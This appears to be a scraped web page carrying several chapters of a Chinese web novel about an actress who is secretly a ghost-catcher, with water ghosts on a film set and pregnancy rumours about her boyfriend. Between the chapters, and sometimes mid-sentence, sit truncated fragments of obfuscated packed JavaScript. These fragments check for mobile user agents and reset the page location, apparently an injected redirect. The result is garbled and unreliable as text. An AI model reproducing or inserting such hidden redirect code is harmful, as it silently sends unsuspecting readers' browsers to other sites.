l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053342|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她身世可怜,她想任性,让她任性几回又何妨?” “如此纵容,不怕酿成大错?” “她一个孤女,孤苦伶仃,能酿成什么大错?她不过是拿我开开玩笑,我皮糙肉厚的没关系,她开心就好了。” 少年无奈,只好说了一句:“那随便你吧。” 舒瑾安望了一眼金绮月离开的方向,轻声自言自语:“我若能护她开心一世,死也无憾。” 梦境戛然而止,番外故事也戛然而止。 左轻白面对师父和三位师兄,皱眉道:“这个故事想告诉我们什么?” 左轻白继续吐槽:“作者能别老写些莫名其妙的番外吗?” “这个故事告诉了我们很多啊。”二师兄捏着一颗棋子说,“首先,你现在这个男朋友可不简单,他跟金绮月、以及周夙的前世都有渊源,他们认识。番外里还说了,他与天女城关系不一般。” 大师兄凑了过来,对左轻白说:“不会他们三个是一伙的吧?他们仨结伴来骗你这个小白兔?小师妹,听大师兄一句话,防着点那男人,必要时甩了他。” 三师兄把大师兄挤走,嗤之以鼻道:“大师兄,哪有你这么说话的?宁拆十座庙,不毁一桩婚啊!” 玄逸思考许久,对左轻白说:“盯紧你那个男朋友,查他。” “知道了。”左轻白道。 “弥月刃碎片收集得怎么样?”玄逸问。 “还行,现在我每到一个新片场都有收获。”左轻白说。 正说着,忽然左轻白的身体慢慢变成了半透明。 “我又要回去了。”左轻白叹气道。 左轻白回来的时间间隔越来越长,这次一走,不知道什么时候能再回来。 152. 像水鬼吗 路回来探班了,所以今晚左轻白没住剧组安排的酒店,而是出来跟路回住。 陇县是个小县城,哪怕是最好的宾馆,条件跟路回平时住的比起来也差了一大截,好在这少爷家教好,没多说什么。 路回洗完澡出来,发现左轻白一直盯着他看。 “干嘛?”路回问。 “你过来。”左轻白朝路回勾了勾手。 路回走了过去。 左轻白撕了一张纸,在上面写了几个字,给路回看。 “你念一下这个名字。”左轻白说。 “善渊道人。”路回念了出来,“谁啊这是?” “有没有熟悉的感觉?” “没有。” 左轻白想了想,她突然出手,一个基本的擒拿手把路回摁倒在床上。左轻白是练家子,路回是细皮嫩肉的大少爷,路回不是左轻白的对手。 “你反抗不了我吗?”左轻白问,她记得善渊道人身手不错。 “废话,我没练过,一点都没!”路回道。 左轻白松开了路回,她对着路回左看右看,怎么看都觉得路回就只是个普通的大少爷,那个善渊道人仙气飘飘,路回身上哪有什么仙气啊,有财气还差不多。 路回对左轻白说:“打架我不是你对手,但如果你想打另一种架的话,或许我们可以切磋一番。” “另一种什么架?” “床上的架。” 左轻白知道路回说的是什么,脸上一红,“别闹。” 路回从身后环抱住左轻白,在她耳边道:“我明天就要走了,‘打’一场不行吗?” 路回还有别的事,明天就要走。 “你大老远来这小县城探班,住一晚就走,不嫌折腾?” “不嫌。”路回认真地说,他把脑袋深深埋在左轻白颈边,说:“我想我女朋友了,想了就来看她,有什么问题?” 左轻白转头看路回,只见他含情脉脉,眼中流露出若有若无的情欲,心想梦中那个善渊道人仙风道骨,看着像个世外高人,是绝不可能露出路回这样的眼神来的。 “你在想谁?”路回察觉到左轻白在走神,不悦道。 路回眉头一蹙,期身而上,质问:“剧组有男的向你献殷勤了?男的叫善渊道人?” “没有。你傻啊你,这年头有谁会取名叫善渊道人?” “那你在想谁?” “在想你啊。”左轻白脱口而出。 路回脸色这才好看了些。 路回轻啄左轻白的唇,说道:“这才对,想我就好了。你们圈里花花肠子多,你不能是花花肠子,更不能靠近那些花花肠子。” 路回好像对左轻白有很多话要说,千叮咛万嘱咐的,嘱咐着嘱咐着,两人上了床,打成年人该打的架去了。 第二天,路回走后,左轻白还在想路回和善渊道人,她有点怀疑善渊道人真的是路回的前世吗?左轻白觉得这俩除了长得一样外没一点相似之处。 左轻白觉得作为男朋友路回很合格,工作这么忙还来探班,大师兄说什么“甩了他”,那可不行,这么好一个男朋友,怎么能说甩就甩。 在陇县的拍摄任务结束后,左轻白跟随剧组又换了地方。 新的拍摄地在玉峰县,玉峰县拥有世间上最大的地下河群体,以及最大的天窗——龙骨天窗。 什么叫天窗?就是地下河道露出地表的部分,它在地表形成一个水池,池水多呈深绿或深蓝色,别看水池的面积小,但实际上它的深度可达两三百米,十分可怕,下面有复杂的溶洞结构,表面平静,实则暗流涌动。 去的路上,左轻白问执行导演:“咱不会要下水拍吧?” “怎么可能?”执行导演道,“天窗那水是能下的吗?专业潜水爱好者都死了几个,咱们不可能下去的。不过咱们在池子边上会有一场戏,到时轻白老师和兰老师站在池子边上,一起凝视深渊,咱们用无人机俯拍,效果一定很好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15058245|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “都是实景,咱们剧组也算诚意满满了。”一旁一个剧组工作人员说道。 车里,左轻白在叽叽喳喳跟其他工作人员聊天,而兰殊尔闭上眼睛,全程假寐,兰殊尔喜静,不爱聊天。 忽然一个工作人员说:“轻白老师就是胆大,居然还想下水拍?不说那里死了多少个潜水高手,就说那个天窗的鬼故事,都吓死个人!” “天窗还有鬼故事呢?”提到鬼左轻白更精神了,“说来听听呀。” “那下面有水母。” “水母?透明的、小小的那种吗?” “不是,水母是人,一直在水里游的人,或者你说是鬼也行。” “它长什么样啊?” “就是人的样子,赤条条的,因为长期呆在水里的缘故,身上的皮肤都白了、皱了、肿了,特别可怕。” “有人见过吗?” “当然有了,我比你们先一步来这里,我提前来这里采过风,上次来的时候,我就遇见了好几个老人说他们小时候在天窗附近玩水时就见过水母,那水母脸朝下低着头朝他们游过来,速度快得跟鱼雷一样。” “它们吃人吗?” “据说不吃,就是比较调皮,爱吓人,除了在水里吓人外,它们还到岸上来。” “到岸上来?” “是啊,它们喜欢晚上上岸,可能你在吃晚饭的时候,它就偷偷趴在窗户边看你,赤身裸.体的,就蹲那趴着,那个脸因为长时间在水下呆着,所以又白又肿又发皱,发皱你们知道吧,你们的手在水里泡久了,手指也会皱巴巴的。人正吃着饭呢,转头一看,看到窗户上的那张脸,别提多吓人了。” 他们正聊着,有人发现一直在假寐的兰殊尔睁开了眼睛。 一个工作人员笑道:“原来兰老师也喜欢听鬼故事啊。” 兰殊尔没理他,而是转头去问左轻白:“像水鬼吗?” 左轻白摇摇头,一本正经地回答:“听着不像。” 153. 水性扬花 工作人员们见两人这么正经地讨论,一齐笑了起来。 一名工作人员笑道:“轻白老师,兰老师,你们不用这么认真,这种故事都是当地人编出来吓唬人的!” 左轻白却一本正经地说:“但凡是流传下来的传说故事,肯定有它流传的原因。” 剧组成员到达玉峰县。 剧组的时间是很宝贵的,落地就开始工作。 大大小小的天窗就是玉峰县人民的水源,所以尽管天窗的鬼故事传得神乎玄乎,但依然能看到当地人用天窗的水来洗菜、洗衣服。 天窗的水来自地下河,深不见底。天窗水非常干净,颜色呈深邃的蓝绿色,冰冰凉凉的,像是世界上最纯洁的玉。 左轻白看到天窗水时,当场“哇”了一声,赞叹道:“这水也太漂亮了吧!都说碧水青山碧水青山,到了玉峰县,才知道什么叫真正的碧水!” 左轻白没见过这么漂亮的水,她兴奋地捧起一捧天窗水,水里几乎找不到一点杂质,像玻璃一样,难怪有人称之为“玻璃水”。冰凉的水接触皮肤,清清凉凉不要太舒服。 这个季节天窗的水里飘着一朵朵白色的小花,一簇一簇,一丛一丛,藤蔓缠绕,随着水波起伏荡漾,跟小精灵似的。这种花叫海菜花,是一种水生濒危植物,只能在没有任何污染的水质里生长,它们在5月到10月盛开,与纯净的天窗水共同形成一幕奇景,这样的美景被人取名为“水性扬花”。 左轻白拿出手机拍照,一边拍一边说:“太美了!到处宣传那些鬼故事干嘛?就应该多多宣传这些美景,多拍点天窗和海菜花的美照放到网上,吸引外地游客来打卡拍照不好吗?” 刚好一个本地大叔路过左轻白身边,听到左轻白的话,大叔说:“我们这里经常有外地人来的!我们这里是潜水天堂啊!每年都有很多全国各地的潜水爱好者来这里潜水,可惜……”说着,大叔叹了声气,哀叹道:“我们这里的水没有底,在这里潜水很危险,你看着好像只是一条河、一个池塘的地方,其实下面已经死了好几个潜水高手了,有些连尸体都捞不上来。” 左轻白问:“怎么会捞不上来?” “捞的话要人下去,如果尸体在很深的位置,人下去太危险了,可能再搭上一条人命,不值当。” “现在科技这么发达,不能用机器人下去捞吗?” “哎哟!下面不简单的!下面很复杂,都是洞穴,尸体是卡在很深的洞穴里的,机器人没有那么灵活,只能用人。”大叔打开了话匣子,滔滔不绝道:“我听下过水的人说,在水深处,那里的温度很低很低,所以尸体腐烂得很慢很慢,下去的时候,能看到已经死了很久的尸体还完好无损,跟活着的时候差不太多。” “是吗?” …… 左轻白和本地大叔正聊着天,这时执行导演叫了一声:“轻白老师,过来了!” “好!”左轻白应道。 见左轻白要走,大叔赶紧对左轻白说:“姑娘,你是明星吧?来来来,咱们合个影。” 左轻白一口答应:“好啊,大叔,你是看过我拍过的戏吗?” 大叔摇头,“没有,我不爱看电视剧,电影也不看,我不认识你,就是感到眼熟,觉得应该是个明星。” “你都不认识我,为啥要找我拍照啊?” 大叔乐呵呵地说:“拍了照回去跟别人炫耀,我见明星啦。” 左轻白:“……” 行吧,认不认识不重要,开心就好。 跟大叔拍完照,左轻白小跑到执行导演身边,听执行导演讲戏。执行导演讲完之后就让左轻白和兰殊尔去做准备。 剧组在野外拍摄的时候,会就地安营扎寨,各方面从简,条件比较艰苦,有时候连找厕所都困难,有点名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073261|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的演员还好,他们可能有团队、有助理,情况稍微好一些;最苦的是那些群演,是真的辛苦,尤其拍古装戏,那戏服里三层外三层的不好脱,遇到高温天气忍着,想上厕所憋着,所以啊,那些从群演熬出头的明星,真的是应了那句话:“这得吃多少苦,才能成角儿啊”。 导演见这里的水这么美,而且又幸运地撞上了“水上杨花”的奇景,当场一拍大腿,决定加一场男女主在水里,小白花浮在水上围绕着两人的浪漫戏份。本来左轻白和兰殊尔没有下水计划的,现在都要下水。 当场加戏是要当场写故事吗?没错,是的,就是当场写故事。不是有跟组编剧吗?编剧老师上场,当场写下水的戏,写完就拍,就是这么迅速。 导演在干导演之前干过摄影,对镜头美感很有要求,加上现在景这么美,导演更加觉得不能辜负美景,所以要求格外严格,死扣细节,导致左轻白和兰殊尔在水里泡了很久。 玉峰县地处南方,这个季节气温不低,但天窗的水源于地下河,一年四季都冰冰凉凉,泡在水里的人冷啊,左轻白打了个哆嗦。 “你没事吧?”兰殊尔问。 “没事。”左轻白说,“我体质好得很。” 这时岸上的执行导演开始指挥了:“轻白老师!轻白老师现在潜水,潜深一点,潜下去之后游起来,美一点!水下摄像机!水下摄像机跟上!” 左轻白听执行导演的,潜入水中,开始潜泳。 海菜花的花长在水面,茎叶长在水里,水下飘着大量的海菜花茎叶,像带鱼一样在水下乱舞,数量非常庞大,一团一团、一群一群,可以用密密麻麻来形容。 左轻白在水下睁开了眼睛,水下摄像机在哪她没看到,估计就在自己身后。 左轻白屏气往前游,游着游着,左轻白忽然看到眼前群魔乱舞的一团海菜花茎叶中,好像露出了一颗人头。 154. 不如笑一笑 左轻白瞪大了眼。 那颗人头逐渐从带鱼群一样的茎叶丛中钻了出来,露出全貌。 是个像人的人。 它是人,却又不是人,它那张脸五官俱全,但……见过被水泡皱泡白的手部皮肤吗,它整张脸的皮肤都是那样式的,诡异而狰狞。 它眼珠子骨碌一转,好像看到了左轻白,它咧开嘴,朝左轻白笑了起来。 渐渐的,它的整个身体从茂密的海菜花茎叶中露了出来,赤条条,滑腻腻,白白胖胖,没穿衣服。 左轻白看到了萦绕在它身体周围的鬼气。 那玩意昂起脖子,死死地盯着左轻白,它保持着僵硬的笑脸,就这么笑嘻嘻地朝左轻白游来,仿佛看到左轻白是多么高兴的一件事。 左轻白眼中寒光一闪,心想:好家伙,一只鬼看到捉鬼师敢这么开心,我这就把你收了,让你开心! 她心想着,用力一蹬腿,朝那只鬼游去。 左轻白双手结印,在水中施法,那只鬼不知死活地越笑越开心,嘴角都快咧到耳根去了,它张开双臂,竟乐呵呵地朝左轻白拥抱过来。 它的动作太快,居然真的抱上了左轻白。 太恶心了,被它抱住的感觉太恶心了!它的身体长期在水里泡着,因为水分进入皮肤,皮肤角质层软化的缘故,这玩意全身上下软乎乎的,跟团肥肉一样,它一抱住左轻白,整个身体就软塌塌地黏在左轻白身上,把左轻白恶心得差点没当场吐出来。 幸好这么恶心的事情没有持续多久,左轻白双手结印处爆发出金光,金光把那只鬼笼罩住,接着渐渐缩小,最后变成一张符纸,鬼被锁在符纸中,左轻白抓住了符纸。 左轻白忍着恶心浮上水面,一上去就干呕了几下,那种被一团软塌塌的肥肉包裹住的感觉,太恶心了。 她一上来,兰殊尔马上游向她,焦急地问:“你没事吧?我刚才好像察觉到了鬼气。” 左轻白摆摆手,示意自己没事,接着把手里的符纸展示给兰殊尔看,意思是确实有鬼,但已经被自己收了。 左轻白想到那只鬼,感到实在恶心,胃里翻腾,马上又干呕了几下。她干呕的动作看得兰殊尔一愣,兰殊尔有些不好意思地小声问道:“你……你和你男朋友没做安全措施,怀孕了?怀孕就别泡在水里了。” “放屁!”左轻白干脆利落地骂道,“没有的事!我只是恶心!” “恶心?” “刚才碰见的那只鬼太恶心了!” “哦……”兰殊尔尴尬地挠头。 这时水下摄影师也浮出了水面,他看到左轻白,大声对左轻白喊道:“轻白老师!刚才你去哪里了?一下水就看不到你了!” 执行导演问:“什么都没拍到吗?” 摄影师摇头,“没拍到啊!” 无奈,这个水下镜头只好重来一次。 于是左轻白再次潜入水中,开始潜泳,水下摄影师也跟着下水,跟在她后面。 左轻白屏气往前游,游着游着,突然眼前一团群魔乱舞的海菜花茎叶中,露出了一颗人头。 左轻白瞪大了眼,跟刚才一模一样的场景! 被水泡白泡皱的一张脸诡异而狰狞,那玩意眼珠子骨碌一转,然后咧开嘴,它在朝左轻白笑。 它的整个身体从茂密的海菜花茎叶中游了出来,赤条条,滑溜溜,接着,它张开双臂,朝左轻白拥抱过来。 好家伙,这是时间回溯?还是场景在重复! 左轻白整个震惊。 那团恶心的玩意扑上来了,马上又要软塌塌地裹在左轻白身上,左轻白赶紧施法结印,金光显现,把它包裹住,最后变成一张符纸,鬼被锁在符纸中,符纸落到左轻白手里。 左轻白赶紧上浮,露出水面。 很快摄影师也跟着浮出水面,无奈道:“轻白老师,你人怎么又不见了?这次还是没拍到!” 左轻白问:“我一下水人就不见了吗?” “是啊,一下子就消失了。”摄影师说,“这是到底怎么回事啊?” 左轻白想了想,朝岸上的执行导演和导演打了个暂停的手势,在没有得到允许的情况下自行上了岸。 “怎么了轻白老师,这么不顺利?”执行导演问。 左轻白径直走向导演,对导演说:“导演,我们来到这里之后,是不是没有拜佛上香?” 剧组在开机的时候都要烧香拜佛,乞求一切顺利,这是传统。有些剧组在开机仪式上拜过一次之后就不再拜第二次了,但有些剧组每到一个新的拍摄地都要重新拜过一遍。这次的剧组属于第一种情况,开机仪式上拜过一次就不再拜了。 导演说:“是没拜。” “拜一下吧。”左轻白直白地说,“我在水下遇到脏东西了。” 听到这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090298|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的所有剧组成员面面相觑,背上发寒。 遇到脏东西这种话,说出来像封建迷信,在别的地方说没有人会当真,但在剧组里说效果就不一样了,因为影视行业内部其实挺迷信的,在剧组遇到灵异事件的传闻也一直都有,曾经有个拍僵尸片的剧组拍着拍着把请来的女演员拍没了,失踪了,真事。所以当左轻白直白地说出这句“我在水下遇到脏东西了”时,包括导演在内的所有人几乎都信了一半,不敢不信啊。 全剧组暂停拍摄,准备上香仪式。 住的宾馆里,左轻白和兰殊尔凑到了一起。 左轻白拿出两张符纸,两张符纸上各画着一个皱巴巴的小人,这就是被封印的鬼。 “看,这是我在水下抓到的两只鬼,两只鬼一模一样。”左轻白说。 “水鬼?”兰殊尔接过符纸,说。 水鬼就是死于水中的鬼,它们藏在水里,致力于把活人拉下水当替死鬼。 “看起来跟水鬼很像,但我总觉得有蹊跷。”左轻白说。 左轻白手中出现金色巨剑,金色巨剑骤然变形,先是化成一股金沙,接着金沙聚拢,形成两个大笼子,兰殊尔把两张符纸分别扔到两个笼子中去,左轻白念起咒语,把鬼从符纸里放出来。 于是,两只一模一样的鬼分别坐在两个金色的笼子中,它们咧着嘴笑着,笑得让人毛骨悚然,两张脸皱巴巴的像脑花,身体也因长时间泡在水里的缘故又滑又软。 “它们的皮泡在水里太久了。”兰殊尔面无表情地说。 “太丑了太丑了。”左轻白嚎道,“我就是在水下被它们两个一人抱了一回。” 兰殊尔朝左轻白投去同情的目光。 “能说话吗?”左轻白用鬼话问它们。 那两只鬼咧着笑一齐点了点头,动作是完全同步的,跟镜像一样。 “你们怎么死的?”兰殊尔问。 “淹死的。”右边那只鬼笑着说,看起来特别开心。 它笑得左轻白发毛,左轻白指着它命令道:“我命令你别笑了,听到没有?” “不笑难道要苦大仇深吗?”另一只鬼说。 “再笑我把你们都灭了。”左轻白威胁它们。 右边那只鬼说:“您这么有本事,不是普通人。我想,我们笑,您是要灭我们的,我们不笑,您还是要灭我们的,既然都要被灭,那还不如笑一笑呢。” 155. 别信那些小道消息 兰殊尔观察了它们一会,对左轻白说:“你发现了吗,从长相到语气到神态,它们几乎一模一样,像克隆出来的一样,或者说复制粘贴。” 左轻白点点头,“发现了,我在水下就发现了,它们连出场方式都一模一样。” “鬼披的人皮会有一模一样的吗?”兰殊尔问。 “理论上没有。”左轻白说,“哪怕是同卵双胞胎的皮,多多少少也会有些差别。” “有蹊跷。这两只鬼先别着急杀,我有种不好的预感,在后面的拍摄中还会有事情发生。”兰殊尔说。 左轻白觉得兰殊尔的担心有道理,于是她把两只水鬼收回符中关着,没有马上杀掉。 剧组买了上香的材料,就地举行上香仪式。举行完仪式后,大家的心都安定了不少。 拍摄继续进行。 他们这部剧是古代探案题材,所以大多数剧情跟破案有关,这次在玉峰县取景拍摄的剧情是剧本中关于鬼新娘的一个案子,这个案子概括起来大概是这样的:俩主角“出差”过程中路过一个小县城,刚好碰上一起灵异事件,县城中一户人家嫁女儿,这里的风俗是新娘要坐船走水路出嫁,没想到,就在出嫁当天,坐船的新娘奇异地消失了,引发各种灵异事件,于是俩主角暂停赶路,帮当地人破案,最终发现,所有灵异事件都是人为,有人在装神弄鬼,想害那个新娘。 饰演本案幕后黑手的演员赵瑱读着读着剧本,忽然说:“这个案子……编剧老师写得不太吉利。” 一旁的左轻白听到后问:“怎么不吉利了?” 赵瑱坐正,对左轻白说:“轻白老师,你有没有听过圈里的一个鬼故事?是在拍一部僵尸片的时候发生的。” “什么呀?”左轻白问。 “僵尸片里经常会出现穿红嫁衣的新娘这种角色。” “没错。” “传闻拍那部片子的时候,也有个这样的角色,剧组找了个穿红衣服的群演女孩来演新娘,那女孩长得很清秀,话特别少,很内向。” “然后呢?” “拍摄的时候需要拍这么一个镜头,就是那女孩穿着红嫁衣从轿子里跑出来,惊慌失措地逃跑,僵尸在后面追她。” “很正常啊。” “不正常!饰演僵尸的那个男演员,追到一半的时候突然大叫一声倒地了!” “死了?” “没死,就是像丢了魂一样一动不动。” “后来呢?” “后来剧组只能换一个男演员演僵尸,继续拍摄。还是那个镜头,新娘从轿子里跑出来,惊慌失措地逃跑,但是当导演喊action的时候,新娘死活不出来。大家觉得奇怪,掀开轿子的帘子一看,里面是空的,人不见了!没了!” “那后来找着人没有?就算是群演,也都要填资料吧?” “剧组的人找到她填的那些资料,一查,嘿,好家伙,全是假的!” “这么诡异?” “还有更诡异的。当天晚上摄影师回去看他拍摄的镜头,发现只要是那个女孩出现的画面,都会有个穿着清朝官员衣服的僵尸在后面盯着她,而这些白天的时候居然没有一个人发现!这给剧组的人吓坏了,马上请道士来做法,也不敢在那拍了。” 赵瑱说到这,自己把自己吓得寒毛直竖。 再看左轻白,她一脸正常,表情变化不大,赵瑱问:“这个故事我第一次听的时候吓得半死,轻白老师不怕啊?” 左轻白耸耸肩,说:“不怕。要是我在场,我只会想办法把那个清朝僵尸抓住,把那个红衣女孩找出来。” 赵瑱朝左轻白竖起大拇指,“轻白老师是这个。”接着赵瑱叹了声气,说:“红嫁衣、鬼新娘这种东西是真的挺玄乎的,很多鬼故事都跟它有关,咱们现在拍这种题材,我都慎得慌!” 左轻白道:“咱们这个不一样,咱们这是探案题材,在咱们的剧本里,所有灵异事件最后都会查出来是人为的。” “但总要拍这些镜头不是?” 左轻白大手一挥,豪气道:“要相信科学。” 赵瑱走后,兰殊尔古怪地看着左轻白,说:“你一个捉鬼师,劝人家相信科学?” “不行吗?”左轻白拿起剧本看了起来,道:“我虽然捉鬼,但我也相信科学,我是社会主义新时代的捉鬼师,” 兰殊尔白了左轻白一眼,觉得这人满口跑火车。 说来也怪,自从剧组就地举行了上香仪式后,接下来的拍摄就一直挺顺利的,剧组成员纷纷说,有时候玄学的东西该信还得信。 不过这两天吧,左轻白似乎发现,剧组成员看她的眼神都不太对劲。 剧组千里迢迢来玉峰县拍摄,看中的就是玉峰县的水美,所以会有大量在水边拍摄的镜头,左轻白也格外喜欢这里的“玻璃水”,她喜欢脱了鞋袜,把自己的脚泡在冰凉的天窗水中,真的太舒服了。 然而有次当左轻白再次想把脚泡进水里时,饰演这个案子中消失的新娘的女演员虞蕊突然跑过来阻止了她。 虞蕊当了很久的群演,在大大小小的剧组摸爬滚打了好几年,虽然很努力,但一直没红,只能演些小角色,不过虞蕊很乐观,人也热心善良。虞蕊紧张兮兮地对左轻白说:“轻白老师,你这时候怎么还用冷水泡脚啊?” 左轻白不明所以,“冷水泡脚怎么了?” 虞蕊一跺脚,说:“不合适了!” 虞蕊小心翼翼地凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110271|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近左轻白,在左轻白耳边轻声说:“轻白老师你不是……怀孕了吗?怀孕要注意啊!” “什么玩意!”左轻白瞪大了眼睛,当场惊吓出声。 “放屁!”左轻白又羞又急,“谁传的我怀孕了?这不造谣吗?” “轻白老师你不看手机的吗?” “我工作忙的时候很少看手机。” 虞蕊拿出手机,打开社交媒体平台,说:“营销号都传疯了,你助理没告诉你?” “我从来不带助理。”左轻白一边说,一边拿出手机开始查,果然,各大营销号都在传“左轻白疑似怀孕”。 原来就在上次左轻白捉水鬼的时候,因为那俩水鬼着实太恶心了,左轻白实在没忍住,一浮上水面就干呕了几下,左轻白干呕的画面被埋伏在拍摄现场周围的狗仔拍下来了。 狗仔拍摄的画面非常模糊,他们应该是藏在哪个山头上,放大镜头拍摄,因为距离远,所以镜头很模糊,但就算模糊,也能看出镜头中穿着戏服泡在水里的人是左轻白,而左轻白居然在干呕! 干呕,这不是怀孕的信号吗? 所有人都知道左轻白有个富二代男朋友,于是所有营销号都在猜测左轻白怀孕了,估计马上就要奉子成婚,嫁入豪门。 左轻白看到营销号在网上肆无忌惮地搬弄是非,气得发抖,“造谣,这是造谣!我要请律师!告他们!” 虞蕊眨巴眨巴大眼睛,问:“所以轻白老师你没有……” “没有!”左轻白一口否认。 “那这造谣也造得太过分了。”虞蕊说。 左轻白忍不住对这些不负责任的营销号开骂,就在此时,左轻白的手机响了,路回打来的电话。 左轻白走到一边去接电话。 电话一接通,路回紧张的声音马上传来:“你疯了吗?怀孕不告诉我?怀孕还在河里泡着?” “不是……” 左轻白无奈地想解释,但电话那头的路回根本不听,一个劲地输出:“你怀着我们的孩子还这么不小心?出事了你让我怎么办?还有,为什么兰殊尔会在你身边,你想让我们的孩子一出生就认他做干爹?” 路回连声音都微微颤抖,看来是真的很担心。好笑的是这个事情离谱归离谱,但离谱中透露着一点正常——至少没有离谱到路回怀疑左轻白和兰殊尔搞出了孩子,路回好像很坚定地认为孩子就是他的。 “啊……”左轻白一拍脑门,烦恼道:“没有啊,没有怀。你别乱来,你别信那些小道消息,千万别到现场来。” “已经来了。”路回咬牙切齿道。 就在打电话的时候,几辆豪华保姆车出现在了玉峰县这个小县城中,就停在拍摄现场外。 156. 高人帮我 来的是路回。 周围的山头上藏着狗仔,路回下车的时候不遮不掩,一点都不避着狗仔。一张帅脸撞入狗仔的镜头,狗仔们全都沸腾了。 于是,顷刻的工夫,网络词条“左轻白疑似怀孕”变成了“左轻白怀孕坐实,准爸爸剧组探班”。 左轻白被路回拎上了房车。 “还没拍完呢,我不能走,太不敬业了!”房车里,左轻白嚎道。 “现在谁敢让你敬业?”路回冷着一张脸说,“导演还是制片?我是投资方!” 众所周知,无论在哪个行业,出钱那个都是老大。 左轻白行了个抱拳礼,“好好好,金主爸爸,你最大。” “左轻白你怎么还是这么一副随意的态度?”路回紧张道,“去医院了吗?” 左轻白又羞又急,“那是假新闻啊,我没有怀孕!我那天干呕是因为看见了两只很恶心的鬼。” 路回盯了左轻白半晌,根本不信她。路回命令司机:“去医院!” 于是路回当场把左轻白从剧组带走了。 这下好了,八卦飞得满天都是,都知道左轻白怀孕了。 “我跟你解释你怎么不听呢?我干呕是因为那两只恶心的鬼。”车上,左轻白急道。 “干呕的可能诱因有很多,看见恶心的东西是一种可能,怀孕也是一种可能。去查查。”路回不容拒绝地说。 “没有怀孕的可能啊。” “怎么没可能?在陇县那次……” “那次你做措施了啊。” “做措施也不是百分之百。” “你这人真的……” “我这人怎么了?我再怎么也没你离谱好吧?明知道自己有性生活,有性生活就可能怀孕,出现干呕这种情况还敢在水里泡着,不告诉我也不去医院?” 司机在前面开车,尽管司机很专业,装作什么都没听见,但左轻白还是有些不好意思,她对路回道:“你小声点好不好?你太紧张啦。” 路回把左轻白带到医院,下车的时候路回小心翼翼地扶着左轻白,他还煞有其事地给左轻白弄了个病房。 医院的检查结果出来了,当然是没怀。 左轻白在病房里捂脸哀嚎:“我都说没怀了,这下好了,剧组周围有狗仔蹲守,你就这么出现在剧组,现在我的八卦都满天飞了吧?况且我一个好好的人来医院住病房,这是浪费公共资源啊!” 路回拿着报告单一直看一直看,像是想生生把没怀孕的结果看成已怀孕。 “你这什么表情?”左轻白问,“没怀你很失望?” 路回看了左轻白两秒,说:“没怀你很得意?这么不想跟我有孩子?” “那不是还没结婚吗?”左轻白赶紧找借口搪塞。 “结了婚就可以有?那现在就去结,结了之后三年抱俩。”路回像是赌气一样地说。 “别闹,我要回剧组了。”左轻白从病床上下来。 路回却突然拦住她,拦着她的腰把她堵在墙上。 “你这么拼干什么呢?”路回皱眉问。 “第一,我是签了合同的,这叫职业道德;第二,万一片场里有弥月刃碎片呢,我不想错过;第三,片场有鬼,我和兰殊尔都怀疑不止两只,我是捉鬼师,我得回去。”左轻白把理由清清楚楚地一一列举。 “又是因为你是捉鬼师?” 左轻白“唉”了一声,说:“路少爷啊,这个世界只有两个捉鬼师,一个我一个兰殊尔,我俩得管事啊。” 左轻白说的是对的,这个世界的捉鬼师500年前就被金绮月杀断代了,就还剩个转世的周夙,但周夙现在归顺金绮月,不再履行作为捉鬼师的职责,可以忽略不计,直到不久前才从异世界调过来两个新的捉鬼师,一个左轻白,一个兰殊尔,如今能干活的捉鬼师就这俩了。 “你俩?”路回醋火中烧,“你就非得跟他凑一起吗?这个世界就只有两个捉鬼师?” 左轻白同情地一点头,“是的,只有两个,其他的500年前都被杀光了。” “……” 路回愣住,憋了半天他来了一句:“这么壮烈呢?” 路回越想越觉得不对,又道:“那你跟他岂不是天生一对。” “我跟你才是天生一对。”左轻白认真地说,“自古以来捉鬼师和助道者都是要配对的。” 路回脸色这才好看了起来。 